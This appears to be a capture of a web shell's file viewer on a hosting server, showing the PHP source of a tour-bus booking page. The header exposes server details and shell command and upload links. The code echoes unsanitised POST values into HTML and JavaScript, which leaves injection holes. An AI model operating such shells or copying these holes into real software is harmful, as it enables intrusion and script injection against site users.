|
Server IP : 103.53.40.154 / Your IP : 3.15.239.50 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/indiatourbus.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once('admin/config.php');
if ($_SERVER["REQUEST_METHOD"] === "POST") {
if (isset($_POST['submit-booking'])) {
$tour_name=$_POST['tour_name'];
$price=$_POST['price'];
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Booking | India Tour Bus</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<?php include "links.php";?>
<style>
#booking .container {
max-width: 90%;
margin: 20px auto;
padding: 20px;
background-color: #fff;
box-shadow: rgba(0, 0, 0, 0.16) 0px 3px 6px, rgba(0, 0, 0, 0.23) 0px 3px 6px;
border-radius: 5px;
}
#booking h1 {
text-align: center;
margin-bottom: 20px;
color: var(--primary-color);
}
#bookingForm form {
margin: 20px;
display:flex;
width: 100%;
}
#bookingForm label {
display: block;
margin-bottom: 5px;
font-weight: bold;
}
input[type="text"],
input[type="date"],
input[type="email"],
select {
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ccc;
border-radius: 4px;
}
#booking button {
margin-top:10px;
width: 100%;
padding: 10px;
background-color: #149496;
color: #fff;
font-weight:bolder;
border: none;
border-radius: 4px;
cursor: pointer;
}
#bookingForm button:hover {
background-color: var(--secondary-color);
}
#bookingForm .ticket {
margin-top: 20px;
padding: 15px;
border: 1px solid #ccc;
background-color: #fff;
}
#bookingForm .icon {
color: var(--accent-color);
font-size: 24px;
margin-right: 5px;
}
</style>
</head>
<body>
<!--<div class="preloader">-->
<!-- <div class="loader">-->
<!-- <span></span>-->
<!-- <span></span>-->
<!-- <span></span>-->
<!-- <span></span>-->
<!-- </div>-->
<!--</div>-->
<?php include "header.php";?>
<div class="breadcrumb breadcrumb-style-one">
<div class="container">
<div class="col-lg-12 text-center">
<h2 class="breadcrumb-title">Book Your Tour</h2>
<ul class="d-flex justify-content-center breadcrumb-items">
<li class="breadcrumb-item"><a href="<?php echo $wspath?>">Home</a></li>
<li class="breadcrumb-item active">Book Now</li>
</ul>
</div>
</div>
</div>
<section id="booking">
<div class="container">
<!--<h1><i class="fa fa-car icon"></i> Book Now</h1>-->
<form action="paynow.php" method="POST">
<div class="row ">
<div class="col-md-12 pkg_nm mb-4"><?php echo $tour_name;?>
<!--- <span>Advance Token Booking Amount Rs.1000/-</span>-->
</div>
<div class="col-lg-6">
<label for="name">Name <span style="color:red;">*</span></label>
<input type="hidden" name="tour_name" value="<?php echo $tour_name;?>">
<input type="text" name="name" placeholder="Your Name" required>
</div>
<div class="col-lg-6">
<label for="mobile">Mobile No <span style="color:red;">*</span></label>
<input type="text" name="phone" maxlength="10" placeholder="Mobile Number" required>
</div>
<div class="col-lg-6">
<label for="email">Email ID <span style="color:red;">*</span></label>
<input type="email" name="email" placeholder="Your Email" required>
</div>
<div class="col-lg-6">
<label for="date">Travel Date<span style="color:red;">*</span></label>
<input type="date" name="date" id="date" required min="<?php echo date('Y-m-d'); ?>">
</div>
<div class="col-lg-6">
<label for="address">Your Address <span style="color:red;">*</span></label>
<input type="text" name="address" id="address" required >
</div>
<!--<div class="col-lg-6">-->
<!-- <label for="date">Fare <span style="color:red;">*</span></label>-->
<!-- <input type="date" name="date" id="date" required min="<?php echo date('Y-m-d'); ?>">-->
<!--</div>-->
<div class="col-lg-6">
<label>Pickup Points *</label>
<?php if($_REQUEST['pc']==1){?>
<select class="form-sec" name="pickup_points" id="pickup_points">
<option value="">Select Pickup Points</option>
<option value="Karol Bagh - 06:15 am">Karol Bagh - 06:15 am</option>
<option value="R K Ashram metro - 6:45 am">R K Ashram metro - 6:45
am</option>
<option value="Paharganj Avtar Hotel, Near Yes Bank - 6:30 am">
Paharganj Avtar Hotel, Near Yes Bank - 6:30 am</option>
<option value="New Delhi Station - 6:30 am">New Delhi Station - 6:30
am</option>
<option value="Patel Chowk Metro - 07:00 am">Patel Chowk Metro -
07:00 am</option>
<option value="INA METRO - 07:10 am">INA METRO - 07:10 am</option>
<option value="Hazrat Nizamuddin Police Station - 07:20 am">Hazrat
Nizamuddin Police Station - 07:20 am</option>
<option value="BP Petrol Pump in ashram chowk - 07:30 am">BP Petrol
Pump in ashram chowk - 07:30 am</option>
<option value="Mahamaya Flyover Noida - 07:45 am">Mahamaya Flyover
Noida - 07:45 am</option>
</select>
<?php }?>
<?php if($_REQUEST['pc']==2){?>
<select class="form-sec" name="pickup_points" id="pickup_points">
<option value="">Select Pickup Points</option>
<option value="Karol Bagh Metro Station - 06:15 am">Karol Bagh Metro
Station - 06:15 am</option>
<option value="Paharganj Avtar Hotel, Near Yes Bank - 06:20 am">
Paharganj Avtar Hotel, Near Yes Bank - 06:20 am</option>
<option value="New Delhi Railway Station - 06:30 am">New Delhi
Railway Station - 06:30 am </option>
<option value="RK Ashram Metro Station - 06:45 am">RK Ashram Metro
Station - 06:45 am</option>
<option value="Patel Chowk Metro Station - 07:00 am">Patel Chowk
Metro Station - 07:00 am</option>
<option value="Chanakyapuri - 07:15 am">Chanakyapuri - 07:15 am
</option>
<option value="Munirka - 07:25 am">Munirka - 07:25 am</option>
<option value="Mahipalpur - 07:30 am">Mahipalpur - 07:30 am</option>
<option value="Gurgaon Iffco Chowk - 07:45 am">Gurgaon Iffco Chowk -
07:45 am</option>
</select>
<span id="pickup_points-error" class="error-message"></span>
<?php }?>
<?php if($_REQUEST['pc']==3){?>
<select class="form-sec" name="pickup_points" id="pickup_points">
<option value="">Select Pickup Points</option>
<option value="New Delhi Railway Station - 08:40 PM">New Delhi
Railway Station - 08:40 PM</option>
<option value="Paharganj Avtar Hotel, Near Yes Bank - 08:45 PM">
Paharganj Avtar Hotel, Near Yes Bank - 08:45 PM</option>
<option value="RK Ashram - 08:50 PM">RK Ashram - 08:50 PM</option>
<option value="Karol Bagh - 09:00 PM">Karol Bagh - 09:00 PM</option>
</select>
<span id="pickup_points-error" class="error-message"></span>
<?php }?>
<?php if($_REQUEST['pc']==4){?>
<select class="form-sec" name="pickup_points" id="pickup_points">
<option value="">Select Pickup Points</option>
<option value="Karol Bagh Metro Station - 09:00 am">Karol Bagh Metro
Station - 09:00 am</option>
<option value="New Delhi Metro Station - Gate No 3(Near food plaza rest) - 09:00 am">
New Delhi Metro Station - Gate No 3(Near Food Plaza Restaurant)
- 09:00 am</option>
<option value="Paharganj Avtar Hotel, Near Yes Bank - 09:15 am">
Paharganj Avtar Hotel, Near Yes Bank - 09:15 am</option>
<option value="RK ashram - 09:30 am">RK ashram - 09:30 am</option>
<option value="Patel Chawk Metro Gate No 1 - 9:45 am">Patel Chawk
Metro Gate No 1 - 9:45 am</option>
<option value="Birla Temple - 10:00 am">Birla Temple - 10:00 am
</option>
</select>
<?php }?>
</div>
<div class="col-lg-6">
<label for="destination">No Of Persons</label>
<select id="destination" name="accomodation" onchange="updateFare()" >
<option value="">Select Person</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
</select>
</div>
<div class="col-md-6">
<div class="form-group tsp-no-padding-right tsp-full-xs">
<label>Total Fare</label>
<input type="text" name="price" id="price" readonly="" onchange="updateFare()" value="<?php echo $price;?>" >
</div>
</div>
<div class="col-lg-12">
<button class="w-100 py-2 " type="submit" name="submit-booking"><i class="fa fa-check icon"></i> Book Now</button>
</div>
</div>
</form>
</div>
</section>
<?php include "site-main-query.php"?>
<div class="footer-area mt-50" style="padding-bottom:25px;">
<div class="footer-main-wrapper">
<div class="container">
<div class="row justify-content-center g-4">
<div class="col-lg-3">
<div class="footer-about text-lg-start text-center">
<div>
<img src="<?php echo $wspath ?>admin/images/<?php echo $data1["footer_logo"] ?>" alt="<?= $site_name ?>" title="<?= $site_name ?>">
</div>
<p><?php echo substr($data1["short_about"],0,250) ?>... <a href="<?php echo $wspath ?>about.html" class="button-read">Read More</a></p>
<div class="footer-social-wrap">
<h5>Follow Us On:</h5>
<ul class="footer-social-links justify-content-lg-start justify-content-center">
<li><a href="<?php echo $data1["insta_link"] ?>"><i class="bx bxl-instagram"></i></a></li>
<li><a href="<?php echo $data1["facebook_link"] ?>"><i class="bx bxl-facebook"></i></a></li>
<li><a href="<?php echo $data1["twitter_link"] ?>"><i class="bx bxl-twitter"></i></a></li>
<!--<li><a href="https://www.linkedin.com/in/india-tourism-incredible-239a60152/"><i class="bx bxl-whatsapp"></i></a></li>-->
<li><a href="<?php echo $data1["pinterest_link"] ?>"><i class="bx bxl-pinterest"></i></a></li>
</ul>
</div>
</div>
</div>
<div class="col-lg-3 col-md-4">
<div class="footer-widget">
<h4 class="footer-widget-title">Our Best Tour</h4>
<ul class="footer-links">
<?php
$sqls = "SELECT * FROM tbl_services LIMIT 7";
$runs = mysqli_query($db,$sqls);
while($datas = mysqli_fetch_assoc($runs)){
if($datas > 0){
?>
<li><a href="<?php echo $wspath?>tour<?php echo $datas['slug_url'];?>.html"> <?php echo $datas['name'];?></a></li>
<?php } } ?>
<!--<li><a href="#">Delhi Sightseeing Tour</a></li>-->
<!--<li><a href="#"> Delhi To Jaipur Tour</a></li>-->
<!--<li><a href="#">Delhi-Haridwar- Rishikesh-Laxman-Jhulla-Delhi Tour</a></li>-->
<!--<li><a href="#">Agra Fatehpur Sikri Tour</a></li>-->
<!--<li><a href="#">Full Bus Booking</a></li>-->
<!--<li><a href="#">Full Car/Tempo Booking</a></li>-->
</ul>
</div>
</div>
<div class="col-lg-3 col-md-4">
<div class="footer-widget">
<h4 class="footer-widget-title">Quick Links</h4>
<ul class="footer-links">
<li><a href="<?php echo $wspath ?>">Home</a></li>
<li><a href="<?php echo $wspath ?>about.html">About Us</a></li>
<li><a href="<?php echo $wspath ?>gallery.html">Gallery</a></li>
<li><a href="<?php echo $wspath ?>term-and-conditions.html">Terms & Conditions</a></li>
<li><a href="<?php echo $wspath ?>contact.html">Contact Us</a></li>
<li><a href="<?php echo $wspath ?>privacy-policy.html"> Privacy Policy</a></li>
<li><a href="<?php echo $wspath ?>refund-policy.html"> Refund Policy</a></li>
<li><a href="<?php echo $wspath?>sitemap.html"> Sitemap</a></li>
</ul>
</div>
</div>
<div class="col-lg-3 col-md-4">
<div class="footer-widget">
<h4 class="footer-widget-title">Payment Options</h4>
<ul class="footer-links">
<li><img src="<?php echo $wspath ?>car-img/f-payment.png" width="80%" alt="<?= $site_name ?>" title="<?= $site_name ?>"></li>
</ul>
</div>
</div>
</div>
<div class="footer-contact-wrapper">
<h5>Contact Us:</h5>
<ul class="footer-contact-list">
<li><i class="fa-solid fa-phone"></i> <a href="tel:<?php echo $data1["phone"] ?>"><?php echo $data1["phone"]?></a></li>
<li><i class="fa-solid fa-phone"></i> <a href="tel:<?php echo $data1["whatsapp"] ?>"><?php echo $data1["whatsapp"]?></a></li>
<li>
<a href="mailto:<?php echo $data1["email"] ?>"><i class="fa-solid fa-envelope"></i>
<?php echo $data1["email"] ?></a>
</li>
<li><i class="fa-solid fa-location-dot"></i> <a> <?php echo $data1["address"] ?></a></li>
</ul>
</div>
</div>
</div>
<div class="footer-bottom">
<div class="container">
<div class="row align-items-center justify-content-center">
<div class="col-lg-7 col-md-6 order-lg-1 order-3 ">
<div class="copyright-link text-lg-start text-center">
<p>Copyright <?= date('Y');?> <?= $site_name ?> A Unit Of ROYAL SNOWLAND TOURS | Design By <a href="https://webkeyindia.com"> Web Key India</a></p>
</div>
</div>
<div class="col-lg-1 order-lg-2 order-1">
<div class="footer-logo text-center">
</div>
</div>
<div class="col-lg-4 col-md-6 order-lg-3 order-2">
<div class="policy-links">
<ul class="policy-list justify-content-lg-end justify-content-center">
<li><a href="<?php echo $wspath ?>term-and-conditions.html">Terms & Condition</a></li>
<li><a href="<?php echo $wspath ?>privacy-policy.html">Privacy Policy</a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
<?php include 'mobile-tabs.php';?>
<a href="#" data-target="html" class="scroll-to-target scroll-to-top" style="display: inline;"><i class="fa fa-angle-up"></i></a>
<div class="whatsapp-float">
<a href="https://wa.me/<?php echo $data1["whatsapp"] ?>" target="blank"><img src="<?php echo $wspath ?>car-img/wp-icon.png" width="50px" class="whatsapp-float-btn" alt="<?= $site_name ?>" title="<?= $site_name ?>"></a>
</div>
<div class="call-icon">
<a href="tel:<?php echo $data1["phone"] ?>" target="_blank">
<img src="<?php echo $wspath ?>car-img/call-icon.png" width="50px" class="call-icon-btn" alt="<?= $site_name ?>" title="<?= $site_name ?>"></a>
</div>
</div>
<script src="<?php echo $wspath ?>assets/js/owlcarousel.min.js"></script>
<script src="<?php echo $wspath ?>assets/js/jquery-3.6.0.min.js"></script>
<script src="<?php echo $wspath ?>assets/js/bootstrap.bundle.min.js"></script>
<script src="<?php echo $wspath ?>assets/js/chain_fade.js"></script>
<script src="<?php echo $wspath ?>assets/js/swiper-bundle.min.js"></script>
<script src="<?php echo $wspath ?>assets/js/jquery.fancybox.min.js"></script>
<!-- solankizm -->
<script src="<?php echo $wspath ?>assets/js/select2.min.js"></script>
<script src="<?php echo $wspath ?>assets/js/jquery-ui.js"></script>
<script src="<?php echo $wspath ?>assets/js/custom.js"></script>
<script src="<?php echo $wspath ?>assets/js/main.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.2/font/bootstrap-icons.min.css" integrity="sha512-D1liES3uvDpPrgk7vXR/hR/sukGn7EtDWEyvpdLsyalQYq6v6YUsTUJmku7B4rcuQ21rf0UTksw2i/2Pdjbd3g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js" integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js" integrity="sha512-bPs7Ae6pVvhOSiIcyUClR7/q2OAsRiovw4vAkX+zJbw3ShAeeqezq50RIIcIURq7Oa20rW2n2q+fyXBNcU9lrw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script>
function updateFare() {
var numberOfPersons = document.getElementsByName("accomodation")[0].value;
var farePerPerson = <?php echo $price;?>;
var totalFare = numberOfPersons * farePerPerson;
document.getElementsByName("price")[0].value = totalFare;
}
</script>
<script>
document.addEventListener('DOMContentLoaded', function () {
var nameInput = document.querySelector('input[name="name"]');
nameInput.addEventListener('input', function () {
nameInput.value = capitalizeFirstLetter(nameInput.value.trim());
});
function capitalizeFirstLetter(str) {
return str.charAt(0).toUpperCase() + str.slice(1);
}
});
</script>
<script>
document.addEventListener('DOMContentLoaded', function () {
document.querySelector('form').addEventListener('submit', function (e) {
var valid = true;
// Mobile number validation
var phoneInput = document.querySelector('input[name="phone"]');
if (!/^\d{10}$/.test(phoneInput.value)) {
setError(phoneInput, 'Please enter a valid 10-digit mobile number.');
valid = false;
} else {
clearError(phoneInput);
}
// Email validation
var emailInput = document.querySelector('input[name="email"]');
if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(emailInput.value)) {
setError(emailInput, 'Please enter a valid email address.');
valid = false;
} else {
clearError(emailInput);
}
// Date validation
var dateInput = document.querySelector('input[name="date"]');
var currentDate = new Date();
currentDate.setHours(0, 0, 0, 0); // Set time to midnight
var selectedDate = new Date(dateInput.value + 'T00:00:00+05:30'); // Assume Indian time zone (GMT+5:30)
// Check if the selected date is before the current date
if (selectedDate.getTime() < currentDate.getTime()) {
setError(dateInput, 'Please select an upcoming date.');
valid = false;
} else {
clearError(dateInput);
}
// Car type validation
var carTypeInput = document.querySelector('select[name="car_type"]');
if (carTypeInput.value === '') {
setError(carTypeInput, 'Please choose a car type.');
valid = false;
} else {
clearError(carTypeInput);
}
// Prevent form submission if validation fails
if (!valid) {
e.preventDefault();
}
});
function setError(input, message) {
input.classList.add('is-invalid');
var errorElement = document.createElement('div');
errorElement.className = 'invalid-feedback';
errorElement.innerText = message;
input.parentNode.appendChild(errorElement);
}
function clearError(input) {
input.classList.remove('is-invalid');
var errorElement = input.parentNode.querySelector('.invalid-feedback');
if (errorElement) {
errorElement.parentNode.removeChild(errorElement);
}
}
});
</script>
</body>
</html>